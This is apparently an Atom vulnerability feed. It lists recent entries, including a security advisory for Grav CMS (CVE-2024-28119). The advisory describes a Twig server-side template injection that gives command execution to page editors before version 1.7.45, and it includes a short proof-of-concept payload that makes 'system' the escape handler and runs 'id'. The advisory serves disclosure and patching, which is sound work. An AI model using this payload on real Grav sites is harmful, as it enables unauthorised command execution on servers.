<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-23T16:45:13.114707+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-159466</id>
    <title>EUVD-2026-159466</title>
    <updated>2026-10-23T16:45:13.177760+00:00</updated>
    <content>EUVD-2026-159466</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-159466"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2024-28119</id>
    <title>fkie_cve-2024-28119</title>
    <updated>2026-10-23T16:45:13.177804+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Grav is an open-source, flat-file content management system. Prior to version 1.7.45, due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Version 1.7.45 contains a patch for this issue.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2024-28119"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-2m7x-c7px-hp58</id>
    <title>GHSA-2m7x-c7px-hp58 — Server Side Template Injection (SSTI) via Twig escape handler</title>
    <updated>2026-10-23T16:45:13.177840+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Packagist: getgrav/grav</p>
<p>### Summary
Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.</p>
<p>### Details
https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99
```php
/**
     * Defines a new escaper to be used via the escape filter.
     *
     * @param string   $strategy The strategy name that should be used as a strategy in the escape call
     * @param callable $callable A valid PHP callable
     */
    public function setEscaper($strategy, callable $callable)
    {
        $this-&gt;escapers[$strategy] = $callable;
    }
 ```
 Twig supports the functionality to redefine the escape function through the setEscaper method. 
However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.</p>
<p>```plaintext
{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}
```
At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.</p>
<p>### PoC
```
{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}
```</p>
<p>### Impact
Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.
As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code ex…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-2m7x-c7px-hp58"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/gsd-2024-28119</id>
    <title>gsd-2024-28119</title>
    <updated>2026-10-23T16:45:13.177887+00:00</updated>
    <content>gsd-2024-28119</content>
    <link href="https://cve.radiocsirt.org/vuln/gsd-2024-28119"/>
  </entry>
</feed>
